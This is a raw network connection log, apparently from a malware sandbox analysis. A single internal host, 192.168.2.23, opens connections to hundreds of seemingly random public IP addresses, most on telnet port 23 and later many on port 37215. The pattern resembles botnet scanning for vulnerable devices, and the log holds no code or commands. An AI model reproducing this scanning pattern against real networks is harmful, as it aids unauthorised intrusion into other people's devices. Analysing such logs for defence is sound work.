Dec 3, 2024 23:16:46.387288094 CET	40602	23	192.168.2.23	132.131.188.83
Dec 3, 2024 23:16:46.387290001 CET	40602	23	192.168.2.23	186.139.10.34
Dec 3, 2024 23:16:46.387290001 CET	40602	23	192.168.2.23	184.203.230.34
Dec 3, 2024 23:16:46.387290001 CET	40602	23	192.168.2.23	141.37.127.131
Dec 3, 2024 23:16:46.387290955 CET	40602	23	192.168.2.23	2.174.11.191
Dec 3, 2024 23:16:46.387290001 CET	40602	23	192.168.2.23	32.36.10.127
Dec 3, 2024 23:16:46.387290955 CET	40602	23	192.168.2.23	49.75.238.105
Dec 3, 2024 23:16:46.387290001 CET	40602	23	192.168.2.23	69.48.2.226
Dec 3, 2024 23:16:46.387290955 CET	40602	23	192.168.2.23	40.187.119.38
Dec 3, 2024 23:16:46.387291908 CET	40602	23	192.168.2.23	102.65.0.248
Dec 3, 2024 23:16:46.387290955 CET	40602	23	192.168.2.23	90.56.98.59
Dec 3, 2024 23:16:46.387291908 CET	40602	23	192.168.2.23	94.54.82.250
Dec 3, 2024 23:16:46.387290955 CET	40602	23	192.168.2.23	42.178.217.201
Dec 3, 2024 23:16:46.387303114 CET	40602	23	192.168.2.23	176.96.54.214
Dec 3, 2024 23:16:46.387331963 CET	40602	23	192.168.2.23	17.227.194.118
Dec 3, 2024 23:16:46.387331963 CET	40602	23	192.168.2.23	69.231.157.246
Dec 3, 2024 23:16:46.387331963 CET	40602	23	192.168.2.23	97.176.2.199
Dec 3, 2024 23:16:46.387335062 CET	40602	23	192.168.2.23	134.15.191.133
Dec 3, 2024 23:16:46.387335062 CET	40602	23	192.168.2.23	34.56.199.92
Dec 3, 2024 23:16:46.387336016 CET	40602	23	192.168.2.23	191.231.43.21
Dec 3, 2024 23:16:46.387336016 CET	40602	23	192.168.2.23	95.218.77.230
Dec 3, 2024 23:16:46.387335062 CET	40602	23	192.168.2.23	17.62.93.224
Dec 3, 2024 23:16:46.387335062 CET	40602	23	192.168.2.23	9.132.83.0
Dec 3, 2024 23:16:46.387335062 CET	40602	23	192.168.2.23	25.59.3.186
Dec 3, 2024 23:16:46.387335062 CET	40602	23	192.168.2.23	164.158.254.46
Dec 3, 2024 23:16:46.387337923 CET	40602	23	192.168.2.23	199.182.235.169
Dec 3, 2024 23:16:46.387340069 CET	40602	23	192.168.2.23	43.79.64.189
Dec 3, 2024 23:16:46.387340069 CET	40602	23	192.168.2.23	35.190.75.253
Dec 3, 2024 23:16:46.387340069 CET	40602	23	192.168.2.23	50.216.222.156
Dec 3, 2024 23:16:46.387341976 CET	40602	23	192.168.2.23	203.93.29.118
Dec 3, 2024 23:16:46.387341976 CET	40602	23	192.168.2.23	148.151.52.174
Dec 3, 2024 23:16:46.387341976 CET	40602	23	192.168.2.23	107.238.32.93
Dec 3, 2024 23:16:46.387343884 CET	40602	23	192.168.2.23	113.248.126.203
Dec 3, 2024 23:16:46.387343884 CET	40602	23	192.168.2.23	19.177.102.88
Dec 3, 2024 23:16:46.387343884 CET	40602	23	192.168.2.23	12.160.39.194
Dec 3, 2024 23:16:46.387351990 CET	40602	23	192.168.2.23	166.202.226.69
Dec 3, 2024 23:16:46.387351990 CET	40602	23	192.168.2.23	12.144.52.171
Dec 3, 2024 23:16:46.387351990 CET	40602	23	192.168.2.23	106.128.210.11
Dec 3, 2024 23:16:46.387351990 CET	40602	23	192.168.2.23	50.196.240.145
Dec 3, 2024 23:16:46.387351990 CET	40602	23	192.168.2.23	66.176.40.42
Dec 3, 2024 23:16:46.387397051 CET	40602	23	192.168.2.23	101.120.194.220
Dec 3, 2024 23:16:46.387397051 CET	40602	23	192.168.2.23	83.223.10.177
Dec 3, 2024 23:16:46.387397051 CET	40602	23	192.168.2.23	134.173.59.184
Dec 3, 2024 23:16:46.387397051 CET	40602	23	192.168.2.23	176.1.75.132
Dec 3, 2024 23:16:46.387397051 CET	40602	23	192.168.2.23	209.106.229.243
Dec 3, 2024 23:16:46.387397051 CET	40602	23	192.168.2.23	54.115.29.55
Dec 3, 2024 23:16:46.387403011 CET	40602	23	192.168.2.23	218.89.155.161
Dec 3, 2024 23:16:46.387403011 CET	40602	23	192.168.2.23	48.170.91.112
Dec 3, 2024 23:16:46.387403011 CET	40602	23	192.168.2.23	51.48.80.65
Dec 3, 2024 23:16:46.387403011 CET	40602	23	192.168.2.23	70.13.249.16
Dec 3, 2024 23:16:46.387403011 CET	40602	23	192.168.2.23	89.122.171.197
Dec 3, 2024 23:16:46.387403011 CET	40602	23	192.168.2.23	222.167.89.122
Dec 3, 2024 23:16:46.387403011 CET	40602	23	192.168.2.23	45.6.118.177
Dec 3, 2024 23:16:46.387404919 CET	40602	23	192.168.2.23	94.32.190.75
Dec 3, 2024 23:16:46.387404919 CET	40602	23	192.168.2.23	213.190.185.183
Dec 3, 2024 23:16:46.387404919 CET	40602	23	192.168.2.23	194.188.19.252
Dec 3, 2024 23:16:46.387404919 CET	40602	23	192.168.2.23	59.248.154.178
Dec 3, 2024 23:16:46.387404919 CET	40602	23	192.168.2.23	125.63.161.65
Dec 3, 2024 23:16:46.387404919 CET	40602	23	192.168.2.23	220.187.190.59
Dec 3, 2024 23:16:46.387407064 CET	40602	23	192.168.2.23	223.195.219.7
Dec 3, 2024 23:16:46.387407064 CET	40602	23	192.168.2.23	64.185.232.102
Dec 3, 2024 23:16:46.387407064 CET	40602	23	192.168.2.23	115.230.244.148
Dec 3, 2024 23:16:46.387407064 CET	40602	23	192.168.2.23	24.209.38.112
Dec 3, 2024 23:16:46.387407064 CET	40602	23	192.168.2.23	194.189.43.175
Dec 3, 2024 23:16:46.387407064 CET	40602	23	192.168.2.23	206.200.172.89
Dec 3, 2024 23:16:46.387407064 CET	40602	23	192.168.2.23	146.161.83.195
Dec 3, 2024 23:16:46.387408972 CET	40602	23	192.168.2.23	138.161.137.129
Dec 3, 2024 23:16:46.387407064 CET	40602	23	192.168.2.23	193.19.185.230
Dec 3, 2024 23:16:46.387408972 CET	40602	23	192.168.2.23	174.69.152.55
Dec 3, 2024 23:16:46.387407064 CET	40602	23	192.168.2.23	96.133.168.255
Dec 3, 2024 23:16:46.387408972 CET	40602	23	192.168.2.23	171.170.185.144
Dec 3, 2024 23:16:46.387407064 CET	40602	23	192.168.2.23	134.12.7.196
Dec 3, 2024 23:16:46.387408972 CET	40602	23	192.168.2.23	34.234.74.26
Dec 3, 2024 23:16:46.387407064 CET	40602	23	192.168.2.23	14.48.27.235
Dec 3, 2024 23:16:46.387408972 CET	40602	23	192.168.2.23	80.162.225.213
Dec 3, 2024 23:16:46.387412071 CET	40602	23	192.168.2.23	64.109.47.60
Dec 3, 2024 23:16:46.387412071 CET	40602	23	192.168.2.23	150.148.16.243
Dec 3, 2024 23:16:46.387412071 CET	40602	23	192.168.2.23	138.53.156.91
Dec 3, 2024 23:16:46.387412071 CET	40602	23	192.168.2.23	47.10.125.43
Dec 3, 2024 23:16:46.387464046 CET	40602	23	192.168.2.23	186.162.160.46
Dec 3, 2024 23:16:46.387464046 CET	40602	23	192.168.2.23	46.123.7.226
Dec 3, 2024 23:16:46.387464046 CET	40602	23	192.168.2.23	38.200.46.61
Dec 3, 2024 23:16:46.387465000 CET	40602	23	192.168.2.23	42.161.189.231
Dec 3, 2024 23:16:46.387465954 CET	40602	23	192.168.2.23	221.131.123.179
Dec 3, 2024 23:16:46.387464046 CET	40602	23	192.168.2.23	212.65.221.130
Dec 3, 2024 23:16:46.387465954 CET	40602	23	192.168.2.23	59.152.84.2
Dec 3, 2024 23:16:46.387465954 CET	40602	23	192.168.2.23	216.155.4.22
Dec 3, 2024 23:16:46.387464046 CET	40602	23	192.168.2.23	63.60.255.236
Dec 3, 2024 23:16:46.387464046 CET	40602	23	192.168.2.23	54.67.151.142
Dec 3, 2024 23:16:46.387465954 CET	40602	23	192.168.2.23	165.146.86.237
Dec 3, 2024 23:16:46.387465954 CET	40602	23	192.168.2.23	116.38.97.160
Dec 3, 2024 23:16:46.387464046 CET	40602	23	192.168.2.23	19.237.253.47
Dec 3, 2024 23:16:46.387465954 CET	40602	23	192.168.2.23	185.219.53.204
Dec 3, 2024 23:16:46.387465954 CET	40602	23	192.168.2.23	107.119.175.106
Dec 3, 2024 23:16:46.387465954 CET	40602	23	192.168.2.23	51.97.82.23
Dec 3, 2024 23:16:46.387464046 CET	40602	23	192.168.2.23	76.158.187.53
Dec 3, 2024 23:16:46.387468100 CET	40602	23	192.168.2.23	161.111.74.60
Dec 3, 2024 23:16:46.387465954 CET	40602	23	192.168.2.23	66.228.200.45
Dec 3, 2024 23:16:46.387468100 CET	40602	23	192.168.2.23	210.65.50.71
Dec 3, 2024 23:16:46.387464046 CET	40602	23	192.168.2.23	123.18.204.28
Dec 3, 2024 23:16:46.387464046 CET	40602	23	192.168.2.23	151.251.69.89
Dec 3, 2024 23:16:46.387465954 CET	40602	23	192.168.2.23	47.26.170.213
Dec 3, 2024 23:16:46.387465000 CET	40602	23	192.168.2.23	129.205.139.1
Dec 3, 2024 23:16:46.387465954 CET	40602	23	192.168.2.23	20.34.177.62
Dec 3, 2024 23:16:46.387465000 CET	40602	23	192.168.2.23	72.14.102.135
Dec 3, 2024 23:16:46.387468100 CET	40602	23	192.168.2.23	115.103.21.189
Dec 3, 2024 23:16:46.387465000 CET	40602	23	192.168.2.23	98.175.191.0
Dec 3, 2024 23:16:46.387465954 CET	40602	23	192.168.2.23	123.125.99.101
Dec 3, 2024 23:16:46.387465954 CET	40602	23	192.168.2.23	106.27.209.138
Dec 3, 2024 23:16:46.387465000 CET	40602	23	192.168.2.23	180.51.150.221
Dec 3, 2024 23:16:46.387465954 CET	40602	23	192.168.2.23	53.145.192.170
Dec 3, 2024 23:16:46.387465954 CET	40602	23	192.168.2.23	194.129.8.177
Dec 3, 2024 23:16:46.387464046 CET	40602	23	192.168.2.23	221.83.85.141
Dec 3, 2024 23:16:46.387465000 CET	40602	23	192.168.2.23	139.242.79.143
Dec 3, 2024 23:16:46.387465954 CET	40602	23	192.168.2.23	110.226.143.210
Dec 3, 2024 23:16:46.387465954 CET	40602	23	192.168.2.23	112.141.109.57
Dec 3, 2024 23:16:46.387466908 CET	40602	23	192.168.2.23	147.253.62.48
Dec 3, 2024 23:16:46.387466908 CET	40602	23	192.168.2.23	88.92.248.204
Dec 3, 2024 23:16:46.387466908 CET	40602	23	192.168.2.23	142.46.247.72
Dec 3, 2024 23:16:46.387512922 CET	40602	23	192.168.2.23	14.255.190.42
Dec 3, 2024 23:16:46.387514114 CET	40602	23	192.168.2.23	173.27.252.110
Dec 3, 2024 23:16:46.387512922 CET	40602	23	192.168.2.23	67.183.150.28
Dec 3, 2024 23:16:46.387512922 CET	40602	23	192.168.2.23	111.40.227.135
Dec 3, 2024 23:16:46.387514114 CET	40602	23	192.168.2.23	31.229.28.16
Dec 3, 2024 23:16:46.387512922 CET	40602	23	192.168.2.23	144.23.232.134
Dec 3, 2024 23:16:46.387514114 CET	40602	23	192.168.2.23	150.144.210.9
Dec 3, 2024 23:16:46.387512922 CET	40602	23	192.168.2.23	52.128.131.225
Dec 3, 2024 23:16:46.387514114 CET	40602	23	192.168.2.23	25.226.163.129
Dec 3, 2024 23:16:46.387516975 CET	40602	23	192.168.2.23	93.93.245.192
Dec 3, 2024 23:16:46.387512922 CET	40602	23	192.168.2.23	37.155.82.223
Dec 3, 2024 23:16:46.387516975 CET	40602	23	192.168.2.23	186.68.117.167
Dec 3, 2024 23:16:46.387516975 CET	40602	23	192.168.2.23	153.197.174.32
Dec 3, 2024 23:16:46.387516975 CET	40602	23	192.168.2.23	14.24.13.3
Dec 3, 2024 23:16:46.387512922 CET	40602	23	192.168.2.23	42.190.249.169
Dec 3, 2024 23:16:46.387516975 CET	40602	23	192.168.2.23	131.157.253.12
Dec 3, 2024 23:16:46.387521029 CET	40602	23	192.168.2.23	121.111.7.232
Dec 3, 2024 23:16:46.387512922 CET	40602	23	192.168.2.23	154.11.179.161
Dec 3, 2024 23:16:46.387521029 CET	40602	23	192.168.2.23	173.156.229.191
Dec 3, 2024 23:16:46.387516975 CET	40602	23	192.168.2.23	184.235.51.161
Dec 3, 2024 23:16:46.387521029 CET	40602	23	192.168.2.23	193.219.177.205
Dec 3, 2024 23:16:46.387521029 CET	40602	23	192.168.2.23	37.115.159.100
Dec 3, 2024 23:16:46.387512922 CET	40602	23	192.168.2.23	18.180.42.245
Dec 3, 2024 23:16:46.387516975 CET	40602	23	192.168.2.23	190.188.96.33
Dec 3, 2024 23:16:46.387512922 CET	40602	23	192.168.2.23	172.190.148.184
Dec 3, 2024 23:16:46.387521029 CET	40602	23	192.168.2.23	5.63.195.236
Dec 3, 2024 23:16:46.387516975 CET	40602	23	192.168.2.23	146.189.134.181
Dec 3, 2024 23:16:46.387521029 CET	40602	23	192.168.2.23	2.188.204.149
Dec 3, 2024 23:16:46.387521029 CET	40602	23	192.168.2.23	61.203.2.213
Dec 3, 2024 23:16:46.387521029 CET	40602	23	192.168.2.23	80.184.50.89
Dec 3, 2024 23:16:46.387521029 CET	40602	23	192.168.2.23	142.236.48.149
Dec 3, 2024 23:16:46.387521029 CET	40602	23	192.168.2.23	38.231.22.27
Dec 3, 2024 23:16:46.387521029 CET	40602	23	192.168.2.23	54.42.151.31
Dec 3, 2024 23:16:46.387542009 CET	40602	23	192.168.2.23	176.89.243.2
Dec 3, 2024 23:16:46.387548923 CET	40602	23	192.168.2.23	206.32.83.53
Dec 3, 2024 23:16:46.387548923 CET	40602	23	192.168.2.23	130.244.255.198
Dec 3, 2024 23:16:46.387548923 CET	40602	23	192.168.2.23	51.229.67.209
Dec 3, 2024 23:16:46.387552023 CET	40602	23	192.168.2.23	207.85.175.146
Dec 3, 2024 23:16:46.387552023 CET	40602	23	192.168.2.23	122.107.156.107
Dec 3, 2024 23:16:46.387552023 CET	40602	23	192.168.2.23	122.110.75.64
Dec 3, 2024 23:16:46.387552023 CET	40602	23	192.168.2.23	134.36.149.151
Dec 3, 2024 23:16:46.387552023 CET	40602	23	192.168.2.23	145.253.46.238
Dec 3, 2024 23:16:46.387552023 CET	40602	23	192.168.2.23	149.91.247.15
Dec 3, 2024 23:16:46.387556076 CET	40602	23	192.168.2.23	41.157.249.252
Dec 3, 2024 23:16:46.387556076 CET	40602	23	192.168.2.23	159.86.26.228
Dec 3, 2024 23:16:46.387557030 CET	40602	23	192.168.2.23	91.213.166.75
Dec 3, 2024 23:16:46.387557030 CET	40602	23	192.168.2.23	219.42.36.46
Dec 3, 2024 23:16:46.387557983 CET	40602	23	192.168.2.23	216.237.249.222
Dec 3, 2024 23:16:46.387557030 CET	40602	23	192.168.2.23	13.154.48.213
Dec 3, 2024 23:16:46.387557030 CET	40602	23	192.168.2.23	52.41.7.2
Dec 3, 2024 23:16:46.387561083 CET	40602	23	192.168.2.23	23.47.27.216
Dec 3, 2024 23:16:46.387557030 CET	40602	23	192.168.2.23	116.238.30.160
Dec 3, 2024 23:16:46.387557030 CET	40602	23	192.168.2.23	136.206.61.150
Dec 3, 2024 23:16:46.387557983 CET	40602	23	192.168.2.23	182.26.168.80
Dec 3, 2024 23:16:46.387557030 CET	40602	23	192.168.2.23	182.226.176.100
Dec 3, 2024 23:16:46.387557983 CET	40602	23	192.168.2.23	157.86.53.218
Dec 3, 2024 23:16:46.387599945 CET	40602	23	192.168.2.23	105.234.204.238
Dec 3, 2024 23:16:46.387599945 CET	40602	23	192.168.2.23	171.89.99.206
Dec 3, 2024 23:16:46.387599945 CET	40602	23	192.168.2.23	120.101.192.246
Dec 3, 2024 23:16:46.387600899 CET	40602	23	192.168.2.23	207.123.55.236
Dec 3, 2024 23:16:46.387600899 CET	40602	23	192.168.2.23	134.8.106.12
Dec 3, 2024 23:16:46.387600899 CET	40602	23	192.168.2.23	168.147.132.72
Dec 3, 2024 23:16:46.387600899 CET	40602	23	192.168.2.23	212.4.160.28
Dec 3, 2024 23:16:46.387600899 CET	40602	23	192.168.2.23	1.39.101.7
Dec 3, 2024 23:16:46.387602091 CET	40602	23	192.168.2.23	142.62.198.218
Dec 3, 2024 23:16:46.387600899 CET	40602	23	192.168.2.23	159.84.137.91
Dec 3, 2024 23:16:46.387602091 CET	40602	23	192.168.2.23	120.220.75.168
Dec 3, 2024 23:16:46.387600899 CET	40602	23	192.168.2.23	101.142.176.185
Dec 3, 2024 23:16:46.387602091 CET	40602	23	192.168.2.23	186.139.216.21
Dec 3, 2024 23:16:46.387602091 CET	40602	23	192.168.2.23	177.46.10.105
Dec 3, 2024 23:16:46.387603998 CET	40602	23	192.168.2.23	9.53.111.192
Dec 3, 2024 23:16:46.387603998 CET	40602	23	192.168.2.23	116.61.77.57
Dec 3, 2024 23:16:46.387603998 CET	40602	23	192.168.2.23	77.166.182.122
Dec 3, 2024 23:16:46.387603998 CET	40602	23	192.168.2.23	20.58.208.218
Dec 3, 2024 23:16:46.387603998 CET	40602	23	192.168.2.23	113.176.254.40
Dec 3, 2024 23:16:46.387603998 CET	40602	23	192.168.2.23	129.11.194.18
Dec 3, 2024 23:16:46.387604952 CET	40602	23	192.168.2.23	197.53.77.20
Dec 3, 2024 23:16:46.387604952 CET	40602	23	192.168.2.23	45.170.100.111
Dec 3, 2024 23:16:46.387604952 CET	40602	23	192.168.2.23	123.218.195.50
Dec 3, 2024 23:16:46.387604952 CET	40602	23	192.168.2.23	60.109.164.55
Dec 3, 2024 23:16:46.387605906 CET	40602	23	192.168.2.23	94.40.103.236
Dec 3, 2024 23:16:46.387605906 CET	40602	23	192.168.2.23	97.133.232.141
Dec 3, 2024 23:16:46.387605906 CET	40602	23	192.168.2.23	223.137.223.45
Dec 3, 2024 23:16:46.387641907 CET	40602	23	192.168.2.23	133.227.169.161
Dec 3, 2024 23:16:46.387641907 CET	40602	23	192.168.2.23	88.217.157.197
Dec 3, 2024 23:16:46.387645960 CET	40602	23	192.168.2.23	57.190.129.136
Dec 3, 2024 23:16:46.387645960 CET	40602	23	192.168.2.23	60.230.79.129
Dec 3, 2024 23:16:46.387645960 CET	40602	23	192.168.2.23	170.39.156.228
Dec 3, 2024 23:16:46.387645960 CET	40602	23	192.168.2.23	195.159.151.42
Dec 3, 2024 23:16:46.387645960 CET	40602	23	192.168.2.23	193.45.64.166
Dec 3, 2024 23:16:46.387645960 CET	40602	23	192.168.2.23	19.160.24.110
Dec 3, 2024 23:16:46.387645960 CET	40602	23	192.168.2.23	148.176.190.120
Dec 3, 2024 23:16:46.387650013 CET	40602	23	192.168.2.23	182.20.108.181
Dec 3, 2024 23:16:46.387650013 CET	40602	23	192.168.2.23	197.93.197.248
Dec 3, 2024 23:16:46.387654066 CET	40602	23	192.168.2.23	2.39.104.9
Dec 3, 2024 23:16:46.387654066 CET	40602	23	192.168.2.23	117.114.111.230
Dec 3, 2024 23:16:46.387654066 CET	40602	23	192.168.2.23	132.251.99.145
Dec 3, 2024 23:16:46.387654066 CET	40602	23	192.168.2.23	92.37.197.228
Dec 3, 2024 23:16:46.387654066 CET	40602	23	192.168.2.23	104.89.235.200
Dec 3, 2024 23:16:46.387654066 CET	40602	23	192.168.2.23	222.73.224.207
Dec 3, 2024 23:16:46.387654066 CET	40602	23	192.168.2.23	67.169.245.141
Dec 3, 2024 23:16:46.387654066 CET	40602	23	192.168.2.23	222.121.229.98
Dec 3, 2024 23:16:46.387655020 CET	40602	23	192.168.2.23	89.178.200.91
Dec 3, 2024 23:16:46.387655020 CET	40602	23	192.168.2.23	124.142.85.217
Dec 3, 2024 23:16:46.387655020 CET	40602	23	192.168.2.23	187.160.120.168
Dec 3, 2024 23:16:46.387655020 CET	40602	23	192.168.2.23	191.28.204.150
Dec 3, 2024 23:16:46.387659073 CET	40602	23	192.168.2.23	75.188.91.0
Dec 3, 2024 23:16:46.387659073 CET	40602	23	192.168.2.23	222.49.155.16
Dec 3, 2024 23:16:46.387659073 CET	40602	23	192.168.2.23	206.62.107.202
Dec 3, 2024 23:16:46.387660980 CET	40602	23	192.168.2.23	84.231.144.115
Dec 3, 2024 23:16:46.387661934 CET	40602	23	192.168.2.23	72.91.109.206
Dec 3, 2024 23:16:46.387661934 CET	40602	23	192.168.2.23	92.97.26.204
Dec 3, 2024 23:16:46.387661934 CET	40602	23	192.168.2.23	200.46.161.108
Dec 3, 2024 23:16:46.387665033 CET	40602	23	192.168.2.23	160.217.180.14
Dec 3, 2024 23:16:46.387689114 CET	40602	23	192.168.2.23	198.88.149.142
Dec 3, 2024 23:16:46.387689114 CET	40602	23	192.168.2.23	167.204.253.251
Dec 3, 2024 23:16:46.387691021 CET	40602	23	192.168.2.23	175.229.99.24
Dec 3, 2024 23:16:46.387691021 CET	40602	23	192.168.2.23	151.47.46.73
Dec 3, 2024 23:16:46.387692928 CET	40602	23	192.168.2.23	114.177.93.123
Dec 3, 2024 23:16:46.387692928 CET	40602	23	192.168.2.23	61.33.5.119
Dec 3, 2024 23:16:46.387691021 CET	40602	23	192.168.2.23	126.89.50.177
Dec 3, 2024 23:16:46.387692928 CET	40602	23	192.168.2.23	95.227.172.70
Dec 3, 2024 23:16:46.387693882 CET	40602	23	192.168.2.23	60.186.44.18
Dec 3, 2024 23:16:46.387691021 CET	40602	23	192.168.2.23	176.218.249.14
Dec 3, 2024 23:16:46.387692928 CET	40602	23	192.168.2.23	43.166.183.146
Dec 3, 2024 23:16:46.387696028 CET	40602	23	192.168.2.23	175.90.152.198
Dec 3, 2024 23:16:46.387693882 CET	40602	23	192.168.2.23	18.69.43.52
Dec 3, 2024 23:16:46.387696028 CET	40602	23	192.168.2.23	144.66.96.52
Dec 3, 2024 23:16:46.387693882 CET	40602	23	192.168.2.23	168.49.30.152
Dec 3, 2024 23:16:46.387696028 CET	40602	23	192.168.2.23	125.9.174.222
Dec 3, 2024 23:16:46.387705088 CET	40602	23	192.168.2.23	218.168.127.138
Dec 3, 2024 23:16:46.387696028 CET	40602	23	192.168.2.23	172.78.178.175
Dec 3, 2024 23:16:46.387705088 CET	40602	23	192.168.2.23	181.69.163.130
Dec 3, 2024 23:16:46.387707949 CET	40602	23	192.168.2.23	20.198.139.104
Dec 3, 2024 23:16:46.387707949 CET	40602	23	192.168.2.23	83.245.204.66
Dec 3, 2024 23:16:46.387708902 CET	40602	23	192.168.2.23	52.250.0.12
Dec 3, 2024 23:16:46.387708902 CET	40602	23	192.168.2.23	126.60.88.211
Dec 3, 2024 23:16:46.388171911 CET	49208	23	192.168.2.23	86.223.218.242
Dec 3, 2024 23:16:46.388792038 CET	55836	23	192.168.2.23	173.31.209.207
Dec 3, 2024 23:16:46.389357090 CET	37468	23	192.168.2.23	213.69.162.227
Dec 3, 2024 23:16:46.389887094 CET	44514	23	192.168.2.23	35.148.186.19
Dec 3, 2024 23:16:46.390451908 CET	43932	23	192.168.2.23	210.13.5.108
Dec 3, 2024 23:16:46.390974998 CET	45326	23	192.168.2.23	23.102.73.106
Dec 3, 2024 23:16:46.391511917 CET	33812	23	192.168.2.23	153.60.128.113
Dec 3, 2024 23:16:46.392070055 CET	32862	23	192.168.2.23	151.216.105.82
Dec 3, 2024 23:16:46.392573118 CET	42348	23	192.168.2.23	143.212.155.26
Dec 3, 2024 23:16:46.393147945 CET	56904	23	192.168.2.23	59.255.82.49
Dec 3, 2024 23:16:46.393649101 CET	58352	23	192.168.2.23	139.93.186.145
Dec 3, 2024 23:16:46.394167900 CET	51248	23	192.168.2.23	59.129.94.109
Dec 3, 2024 23:16:46.394674063 CET	59138	23	192.168.2.23	156.244.103.132
Dec 3, 2024 23:16:46.395263910 CET	33814	23	192.168.2.23	187.125.11.78
Dec 3, 2024 23:16:46.395884037 CET	52270	23	192.168.2.23	126.183.65.170
Dec 3, 2024 23:16:46.396430969 CET	40486	23	192.168.2.23	137.187.187.101
Dec 3, 2024 23:16:46.396991968 CET	54726	23	192.168.2.23	85.59.140.30
Dec 3, 2024 23:16:46.397587061 CET	50398	23	192.168.2.23	212.97.1.50
Dec 3, 2024 23:16:46.398153067 CET	44640	23	192.168.2.23	222.27.70.73
Dec 3, 2024 23:16:46.398499012 CET	40597	37215	192.168.2.23	41.118.159.86
Dec 3, 2024 23:16:46.398529053 CET	40597	37215	192.168.2.23	197.241.73.0
Dec 3, 2024 23:16:46.398588896 CET	40597	37215	192.168.2.23	197.114.168.20
Dec 3, 2024 23:16:46.398616076 CET	40597	37215	192.168.2.23	41.142.241.127
Dec 3, 2024 23:16:46.398616076 CET	40597	37215	192.168.2.23	197.115.201.15
Dec 3, 2024 23:16:46.398619890 CET	40597	37215	192.168.2.23	197.67.247.196
Dec 3, 2024 23:16:46.398646116 CET	40597	37215	192.168.2.23	156.111.253.73
Dec 3, 2024 23:16:46.398648977 CET	40597	37215	192.168.2.23	41.170.103.44
Dec 3, 2024 23:16:46.398664951 CET	40597	37215	192.168.2.23	41.1.83.59
Dec 3, 2024 23:16:46.398679972 CET	40597	37215	192.168.2.23	197.207.64.186
Dec 3, 2024 23:16:46.398680925 CET	40597	37215	192.168.2.23	41.59.202.69
Dec 3, 2024 23:16:46.398689032 CET	40597	37215	192.168.2.23	41.209.26.13
Dec 3, 2024 23:16:46.398691893 CET	40597	37215	192.168.2.23	156.114.150.157
Dec 3, 2024 23:16:46.398693085 CET	50654	23	192.168.2.23	139.93.230.251
Dec 3, 2024 23:16:46.398701906 CET	40597	37215	192.168.2.23	156.16.47.178
Dec 3, 2024 23:16:46.398703098 CET	40597	37215	192.168.2.23	156.225.70.23
Dec 3, 2024 23:16:46.398705006 CET	40597	37215	192.168.2.23	41.116.101.16
Dec 3, 2024 23:16:46.398709059 CET	40597	37215	192.168.2.23	156.40.247.243
Dec 3, 2024 23:16:46.398711920 CET	40597	37215	192.168.2.23	41.125.225.150
Dec 3, 2024 23:16:46.398725986 CET	40597	37215	192.168.2.23	41.171.99.41
Dec 3, 2024 23:16:46.398731947 CET	40597	37215	192.168.2.23	197.228.129.206
Dec 3, 2024 23:16:46.398732901 CET	40597	37215	192.168.2.23	156.150.110.22
Dec 3, 2024 23:16:46.398751020 CET	40597	37215	192.168.2.23	156.172.227.198
Dec 3, 2024 23:16:46.398753881 CET	40597	37215	192.168.2.23	197.157.195.190
Dec 3, 2024 23:16:46.398757935 CET	40597	37215	192.168.2.23	41.210.99.94
Dec 3, 2024 23:16:46.398775101 CET	40597	37215	192.168.2.23	197.30.159.205
Dec 3, 2024 23:16:46.398775101 CET	40597	37215	192.168.2.23	41.228.162.144
Dec 3, 2024 23:16:46.398775101 CET	40597	37215	192.168.2.23	41.61.194.61
Dec 3, 2024 23:16:46.398787975 CET	40597	37215	192.168.2.23	156.20.138.45
Dec 3, 2024 23:16:46.398792982 CET	40597	37215	192.168.2.23	41.31.17.152
Dec 3, 2024 23:16:46.398802042 CET	40597	37215	192.168.2.23	156.201.201.126
Dec 3, 2024 23:16:46.398825884 CET	40597	37215	192.168.2.23	197.8.254.178
Dec 3, 2024 23:16:46.398828030 CET	40597	37215	192.168.2.23	41.10.70.102
Dec 3, 2024 23:16:46.398844957 CET	40597	37215	192.168.2.23	41.103.165.18
Dec 3, 2024 23:16:46.398845911 CET	40597	37215	192.168.2.23	197.15.221.116
Dec 3, 2024 23:16:46.398847103 CET	40597	37215	192.168.2.23	197.182.53.9
Dec 3, 2024 23:16:46.398853064 CET	40597	37215	192.168.2.23	41.198.110.241
Dec 3, 2024 23:16:46.398858070 CET	40597	37215	192.168.2.23	156.222.131.146
Dec 3, 2024 23:16:46.398864031 CET	40597	37215	192.168.2.23	156.112.162.157
Dec 3, 2024 23:16:46.398889065 CET	40597	37215	192.168.2.23	156.239.69.4
Dec 3, 2024 23:16:46.398890972 CET	40597	37215	192.168.2.23	156.62.11.80
Dec 3, 2024 23:16:46.398899078 CET	40597	37215	192.168.2.23	41.209.99.40
Dec 3, 2024 23:16:46.398910999 CET	40597	37215	192.168.2.23	41.123.152.221
Dec 3, 2024 23:16:46.398915052 CET	40597	37215	192.168.2.23	41.18.49.67
Dec 3, 2024 23:16:46.398915052 CET	40597	37215	192.168.2.23	41.109.238.236
Dec 3, 2024 23:16:46.398917913 CET	40597	37215	192.168.2.23	156.89.164.26
Dec 3, 2024 23:16:46.398931980 CET	40597	37215	192.168.2.23	41.100.236.76
Dec 3, 2024 23:16:46.398931980 CET	40597	37215	192.168.2.23	41.62.211.235
Dec 3, 2024 23:16:46.398940086 CET	40597	37215	192.168.2.23	156.159.107.51
Dec 3, 2024 23:16:46.398960114 CET	40597	37215	192.168.2.23	41.85.154.81
Dec 3, 2024 23:16:46.398960114 CET	40597	37215	192.168.2.23	41.217.223.187
Dec 3, 2024 23:16:46.398961067 CET	40597	37215	192.168.2.23	41.68.145.160
Dec 3, 2024 23:16:46.398967028 CET	40597	37215	192.168.2.23	41.149.2.216
Dec 3, 2024 23:16:46.398978949 CET	40597	37215	192.168.2.23	197.120.161.16
Dec 3, 2024 23:16:46.398979902 CET	40597	37215	192.168.2.23	156.250.87.240
Dec 3, 2024 23:16:46.398981094 CET	40597	37215	192.168.2.23	41.49.71.228
Dec 3, 2024 23:16:46.398998022 CET	40597	37215	192.168.2.23	41.60.156.4
Dec 3, 2024 23:16:46.398998022 CET	40597	37215	192.168.2.23	41.185.153.248
Dec 3, 2024 23:16:46.399003029 CET	40597	37215	192.168.2.23	41.53.185.253
Dec 3, 2024 23:16:46.399005890 CET	40597	37215	192.168.2.23	41.190.155.128
Dec 3, 2024 23:16:46.399009943 CET	40597	37215	192.168.2.23	41.172.195.215
Dec 3, 2024 23:16:46.399009943 CET	40597	37215	192.168.2.23	41.191.201.15
Dec 3, 2024 23:16:46.399012089 CET	40597	37215	192.168.2.23	197.21.9.73
Dec 3, 2024 23:16:46.399013042 CET	40597	37215	192.168.2.23	41.3.154.157
